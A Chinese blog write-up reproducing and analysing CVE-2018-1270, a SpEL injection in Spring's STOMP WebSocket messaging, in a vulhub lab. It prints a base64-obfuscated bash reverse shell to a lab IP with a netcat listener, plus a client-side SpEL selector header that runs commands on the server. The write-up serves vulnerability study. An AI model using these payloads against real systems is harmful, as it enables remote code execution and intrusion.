记一次曲折的CVE-2018-1270复现分析
前言
前两天接到朋友对某个授权目标的漏扫结果,也算是初次接触到这个漏洞,就想着顺手分析一下复现一下,因为分析这个漏洞的文章也比较少,所以刚开始比较迷,进度也比较慢。
漏洞复现
使用vulhub搭建环境,下载vulhub
git clone https://github.com/vulhub/vulhub.gitspring目录下有docker镜像直接启起来
sudo docker-compose up -d
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/d330d6df6d974eccb4561633d81f0f08.jpg)
文章图片
访问8080端口即可查看
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/52db41223b554b53b6ce362e0ea5f2b3.jpg)
文章图片
环境搭建ok,其实这里使用构造的payload不知道为什么不可以,稍后尝试,先使用exp去执行,在环境中刚好有exp,我们只需要修改目标ip
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/71e290df7c47467f91bf1c427b9729c3.jpg)
文章图片
修改执行的命令
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/4e118a62ecff4ab39cd1cc920216c849.jpg)
文章图片
执行EXP
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/cff79c9b45854449af6bf061a0507ef2.png)
文章图片
进入docker容器查看是否成功生成数据
ocker exec -it 1f699e14e /bin/bash
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/d8a967227adf4d65a190abb3a678e455.jpg)
文章图片
验证EXP成功利用,这里尝试一下反弹shell,在另一台终端监听一个端口
nc -lvp 9999修改EXP
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/9f02375e7e034bd9b1014f08581b97cc.jpg)
文章图片
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/6f90d933e6364ebd86b1d0e5e5bdd86d.png)
文章图片
得到容器的shell
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/615beb8086de494ba856080dd3d2b328.jpg)
文章图片
由于在线编码的平台不能使用,所以需要自己做一下base64的编码然后再解码,但是这里为什么直接反弹的shell不能够执行呢?
是因为管道符、输入输出重定向,只有在bash环境下才能用。由于项目环境为Java环境不支持管道符、输入输出重定向等。重定向和管道符的使用方式在正在启动的进程的中没有意义。例如
ls > 1.txt
在shell中执行为将当前目录的列表输出到命名为 1.txt
。但是在 exec()
函数的中,该命令为解释为获取 >
和 1.txt
目录的列表。下载源码
wget https://github.com/spring-guides/gs-messaging-stomp-websocket.git新建项目导入pom.xml文件搭建环境,配置配置文件
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/ad427773e3744ddb85a1a369a4594107.jpg)
文章图片
运行本地已搭建
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/e515d92987954b238ac98524958dcc81.jpg)
文章图片
http://127.0.0.1:8080/
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/a1f6ae3d0dd34bfdabb2fbefe2a66b05.jpg)
文章图片
本地搭建目的是方便调试。
修改代码位置
src->main->resources->static->app.js修改connect方法
function connect() {
var header= {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
保存后重新运行,Websocket连接,send发送任意信息即可触发calc.exe
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/b1bb630c080241f0bf6a68dce50fde28.jpg)
文章图片
分析 本地windows的触发条件更能清楚的理解,exec中代码执行的条件是由于建立socket通信之后发送信息的时候触发的,这里通过下断点来调试
首先先了解几个概念,没有java框架开发经验的话确实很让人头疼,SpEL表达式,是Spring表达式的简写,能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值。简单理解就是利用简单的表达形式来实现操作。
SpEL支持如下表达式:
- 基本表达式:字面量表达式、关系,逻辑与算数运算表达式、字符串连接及截取表达式、三目运算及Elivis表达式、正则表达式、括号优先级表达式;
- 类相关表达式:类类型表达式、类实例化、instanceof表达式、变量定义及引用、赋值表达式、自定义函数、对象属性存取及安全导航表达式、对象方法调用、Bean引用;
- 集合相关表达式:内联List、内联数组、集合,字典访问、列表,字典,数组修改、集合投影、集合选择;不支持多维内联数组初始化;不支持内联字典定义;
- 其他表达式:模板表达式。
STOMP是一个简单的可互操作的基于帧的协议, 作用于中间服务器在客户端之间进行异步消息传递,STOMP协议基于TCP协议,类似于HTTP协议,使用了以下命令:
CONNECT
SEND
SUBSCRIBE
UNSUBSCRIBE
BEGIN
COMMIT
ABORT
ACK
NACK
DISCONNECT
Ctrl+N根据披露的漏洞位置,直接搜索问题类DefaultSubscriptionRegistry
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/740b32f664f94e419a49651f6ecb390f.jpg)
文章图片
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/f01f05b94fd947d091de511f3011624c.jpg)
文章图片
在Protected属性addSubscriptionInternal方法中,定义了selectorHeaderInUse的属性为true
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/fa71d85c25de4adba45735639dbba8bb.jpg)
文章图片
95行的时候把四个参数,sessinId,subsId,destination(订阅地址("/topic/greetings")以及expression添加进subscriptionRegistry属性中。
app.js修改的代码位置为
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/27dfa82018da4e55919866ae82de2d4b.jpg)
文章图片
private属性中的filterSubscriptions方法在什么时候会触发呢?下断点调试会发现,在send发送信息的时候会传入message参数,这个时候就会调用前端传入的selector构造的内容即SpEL表达式的内容,从第二种的复现方式来看就是这样的,但是在调试的时候正常的利用是首先触发
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/0384c9715a1a4fb0b489fc4851814f7e.jpg)
文章图片
118行调用findSubscriptionsInternal函数
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/1d2936881e9743daab20b7acf81e85b5.jpg)
文章图片
ctrl+N向上查找函数
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/6feb8ae78faf40e6a827a5affcd17e98.jpg)
文章图片
在AbstractSubscriptionRegistry类中找到了在满足else的时候调用了findSubscriptionsInternal函数,可能在这里也许有师傅有点困惑,在这里我们需要明白的是参数destination(订阅地址)和参数message(含有SpEL表达式即payload)的内容。
但是这里有个疑问,那么哪里利用到了STOMP协议的内容呢?
上文提到了STOMP协议的命令,里面涉及到的SUBSCRIBE命令,在SUBSCRIBE命令下selector头值会作为表达式存储,在实现addSubscriptionInternal方法的方法生成sessionID的时候表达式已经实现了存储。
这个时候就很明显了,seesionid的生成就涉及到了websocket实现客户端和服务器之间的交互
![记一次曲折的CVE-2018-1270复现分析](https://img.it610.com/image/info8/a905f410d01340f2a069981901173587.jpg)
文章图片
到这里分析就结束了,但是函数调用以及漏洞触发的原因已经分析的比较清楚了。
小结 Java的东西忘记的差不多了,IDEA的快捷键都给忘了,突然分析起来很头大,可参考的内容也比较少,走的坑也比较多吧,有问题的地方欢迎师傅们指正。
参考文章
https://mp.weixin.qq.com/s/9ZHopkDK8aVzFPrSOEgOVg
https://mp.weixin.qq.com/s/K56p8PkyrxmsZ1holFbh2Q
https://www.jianshu.com/p/ae3922db1f70
【记一次曲折的CVE-2018-1270复现分析】更多靶场实验练习、网安学习资料,请点击这里>>
推荐阅读
- Linux|Linux 0.11源码阅读笔记-总结
- [笨叔点滴3] “栈”谁便宜了()
- C语言笔记|c语言入门笔记
- 蓝桥杯|01蓝桥杯特训课程第一次总结
- 一次关于关系抽取(RE)综述调研的交流心得
- 一次Mysql|一次Mysql update sql不当引起的生产故障记录
- 常用网络命令总结
- docker|docker安装jenkins记录
- 笔记|STM32学习
- FPGA|Verilog 学习笔记(一) 基础语法与注意事项